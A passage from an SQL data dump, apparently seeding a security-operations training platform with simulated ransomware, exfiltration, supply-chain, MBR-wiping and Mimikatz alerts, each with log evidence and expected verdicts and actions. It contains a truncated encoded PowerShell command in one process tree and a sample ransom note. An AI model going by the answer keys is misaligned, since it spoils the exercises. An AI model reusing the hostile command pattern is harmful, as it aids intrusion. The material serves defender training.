4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:30Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"queried_domain\\\":\\\"iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\\\",\\\"query_type\\\":\\\"A\\\",\\\"response\\\":\\\"92.242.132.24\\\",\\\"associated_filename\\\":\\\"wannacry.exe\\\",\\\"associated_hash\\\":\\\"e9f8425d4f8c5f8c5e7a7f8c5d7f9c3b\\\",\\\"internal_user\\\":\\\"jdoe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(512, 'Encryption Logic Analysis', 'high', 'File System Analysis', 'Analysts are examining the encryption logic of a ransomware strain to determine if there are any exploitable flaws that could allow decryption without payment. The analysis has identified several encrypted files and potential indicators of compromise.', 'Data Encryption', 'T1486: Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"event_id\":\"FS123456789\",\"user\":\"jdoe\",\"source_ip\":\"10.0.0.15\",\"attacker_ip\":\"203.0.113.45\",\"filename\":\"encrypted_document.docx\",\"malware_hash\":\"3f3f9d2c9c3d4e2b8e4f9b2a19e0b3d0\",\"encryption_algorithm\":\"AES-256\",\"process\":\"ransomware.exe\",\"internal_network\":\"192.168.1.0/24\"}', '2026-01-06 01:34:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f3f9d2c9c3d4e2b8e4f9b2a19e0b3d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a variant of ransomware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"encrypted_document.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local File Analysis\",\"verdict\":\"suspicious\",\"details\":\"File is encrypted and cannot be opened without a decryption key.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee user account potentially impacted.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.127Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"FS123456789\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"encrypted_document.docx\\\",\\\"malware_hash\\\":\\\"3f3f9d2c9c3d4e2b8e4f9b2a19e0b3d0\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"process\\\":\\\"ransomware.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.127Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"FS123456789\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"encrypted_document.docx\\\",\\\"malware_hash\\\":\\\"3f3f9d2c9c3d4e2b8e4f9b2a19e0b3d0\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"process\\\":\\\"ransomware.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.127Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"FS123456789\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"encrypted_document.docx\\\",\\\"malware_hash\\\":\\\"3f3f9d2c9c3d4e2b8e4f9b2a19e0b3d0\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"process\\\":\\\"ransomware.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.127Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"FS123456789\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"encrypted_document.docx\\\",\\\"malware_hash\\\":\\\"3f3f9d2c9c3d4e2b8e4f9b2a19e0b3d0\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"process\\\":\\\"ransomware.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.127Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"FS123456789\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"encrypted_document.docx\\\",\\\"malware_hash\\\":\\\"3f3f9d2c9c3d4e2b8e4f9b2a19e0b3d0\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"process\\\":\\\"ransomware.exe\\\",\\\"internal_network\\\":\\\"192.168.1.0/24\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(513, 'Data Exfiltration Attempt Detected', 'high', 'Data Loss Prevention (DLP) System', 'An advanced attempt to exfiltrate sensitive data was detected. Before encrypting files, the attacker tried to send critical company data to an external server.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:35Z\",\"event_type\":\"data_exfiltration_attempt\",\"src_ip\":\"192.168.1.105\",\"dest_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"file\":\"financial_report_q3_2023.xlsx\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"protocol\":\"HTTPS\",\"action\":\"blocked\",\"alert_id\":\"DLP-20231010-001\",\"message\":\"Sensitive data transfer attempt detected and blocked by DLP.\"}', '2026-01-06 01:34:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address from company network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with data exfiltration campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Registered employee username.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal File Database\",\"verdict\":\"clean\",\"details\":\"Legitimate company file.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with suspicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.128Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231010-001\\\",\\\"message\\\":\\\"Sensitive data transfer attempt detected and blocked by DLP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.128Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231010-001\\\",\\\"message\\\":\\\"Sensitive data transfer attempt detected and blocked by DLP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.128Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231010-001\\\",\\\"message\\\":\\\"Sensitive data transfer attempt detected and blocked by DLP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.128Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231010-001\\\",\\\"message\\\":\\\"Sensitive data transfer attempt detected and blocked by DLP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.128Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration_attempt\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231010-001\\\",\\\"message\\\":\\\"Sensitive data transfer attempt detected and blocked by DLP.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(514, 'Ransom Note Deployment', 'high', 'User Reports', 'In the final step of the attack chain, the attacker deployed a ransom note to the affected systems, demanding payment in exchange for the decryption key. This action follows the encryption of critical files across multiple hosts.', 'Impact', 'T1486: Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:32:00Z\",\"event_id\":\"1209\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"ransom_note_filename\":\"READ_ME.txt\",\"file_hash\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"message\":\"Your files have been encrypted. To restore access, send 5 BTC to the following address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\",\"host\":\"victim-host-01\",\"malware_name\":\"Ryuk\"}', '2026-01-06 01:34:24', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server for Ryuk ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host identified as victim\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Account used during the attack\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"READ_ME.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Standard ransom note file for Ryuk\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Ryuk ransomware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.129Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"1209\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"message\\\":\\\"Your files have been encrypted. To restore access, send 5 BTC to the following address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"host\\\":\\\"victim-host-01\\\",\\\"malware_name\\\":\\\"Ryuk\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.129Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"1209\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"message\\\":\\\"Your files have been encrypted. To restore access, send 5 BTC to the following address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"host\\\":\\\"victim-host-01\\\",\\\"malware_name\\\":\\\"Ryuk\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.129Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"1209\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"message\\\":\\\"Your files have been encrypted. To restore access, send 5 BTC to the following address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"host\\\":\\\"victim-host-01\\\",\\\"malware_name\\\":\\\"Ryuk\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.129Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"1209\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"message\\\":\\\"Your files have been encrypted. To restore access, send 5 BTC to the following address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"host\\\":\\\"victim-host-01\\\",\\\"malware_name\\\":\\\"Ryuk\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.129Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"1209\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"message\\\":\\\"Your files have been encrypted. To restore access, send 5 BTC to the following address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"host\\\":\\\"victim-host-01\\\",\\\"malware_name\\\":\\\"Ryuk\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(515, 'Compromised Software Update Detected', 'high', 'Network Traffic Analysis', 'A malicious update for the accounting software \'FinancePro\' was detected being distributed from a trusted update channel, indicating a supply chain compromise. The update includes a known malicious payload linked to the Sandworm group.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.5\",\"file_hash\":\"b84f28c9d5fe3a67b1d6f70a4b1c6e8e\",\"file_name\":\"FinancePro_Update_v4.2.exe\",\"user\":\"jdoe\",\"update_channel\":\"update.financepro.com\",\"action\":\"download\",\"malware_family\":\"NotPetya\"}', '2026-01-06 01:37:06', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Sandworm APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b84f28c9d5fe3a67b1d6f70a4b1c6e8e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"FinancePro_Update_v4.2.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unexpected update file detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(516, 'MBR Overwriting Activity Observed', 'high', 'Endpoint Detection and Response (EDR)', 'An alert has been triggered due to the detection of destructive malware that targets the Master Boot Record (MBR) of the system. The malware, associated with the Sandworm group, attempts to overwrite the MBR, rendering the system unbootable under the guise of a ransomware attack. Immediate action is required to prevent further damage.', 'Destructive Malware Execution', 'T1490 - Inhibit System Recovery', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:58Z\",\"event_id\":\"EDR-4521\",\"system\":{\"hostname\":\"workstation-12\",\"ip_address\":\"192.168.1.45\",\"os\":\"Windows 10\"},\"user\":\"jdoe\",\"process\":{\"name\":\"malware_payload.exe\",\"path\":\"C:\\\\Windows\\\\Temp\\\\malware_payload.exe\",\"hash\":\"3d2e79c1d5d3e6b7a1c3f3da9f481b2c\"},\"network\":{\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"destination_port\":443},\"action\":\"MBR overwrite attempt\",\"indicator_of_compromise\":{\"file_hash\":\"3d2e79c1d5d3e6b7a1c3f3da9f481b2c\",\"attacker_ip\":\"203.0.113.5\"}}', '2026-01-06 01:37:06', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"3d2e79c1d5d3e6b7a1c3f3da9f481b2c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known destructive malware hash associated with Sandworm operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"IPVoid\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous malicious activities linked to Sandworm.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(517, 'Mimikatz Credential Harvesting Detected', 'high', 'Security Information and Event Management (SIEM)', 'The attackers leverage Mimikatz to harvest credentials from compromised systems, preparing for rapid lateral movement across the network.', 'Credential Access', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:33Z\",\"event_id\":\"4624\",\"event_type\":\"Logon\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"username\":\"jdoe\",\"logon_type\":\"Interactive\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\mimikatz.exe\",\"process_id\":\"5678\",\"hash\":\"6f5902ac237024bdd0c176cb93063dc4\",\"filename\":\"mimikatz.exe\",\"os_version\":\"Windows 10\",\"domain\":\"example.local\"}', '2026-01-06 01:37:06', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with credential theft campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host within the organization\'s network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"6f5902ac237024bdd0c176cb93063dc4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Detection\",\"verdict\":\"suspicious\",\"details\":\"Executable file commonly used for credential theft.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.133Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_type\\\":\\\"Logon\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\mimikatz.exe\\\",\\\"process_id\\\":\\\"5678\\\",\\\"hash\\\":\\\"6f5902ac237024bdd0c176cb93063dc4\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"os_version\\\":\\\"Windows 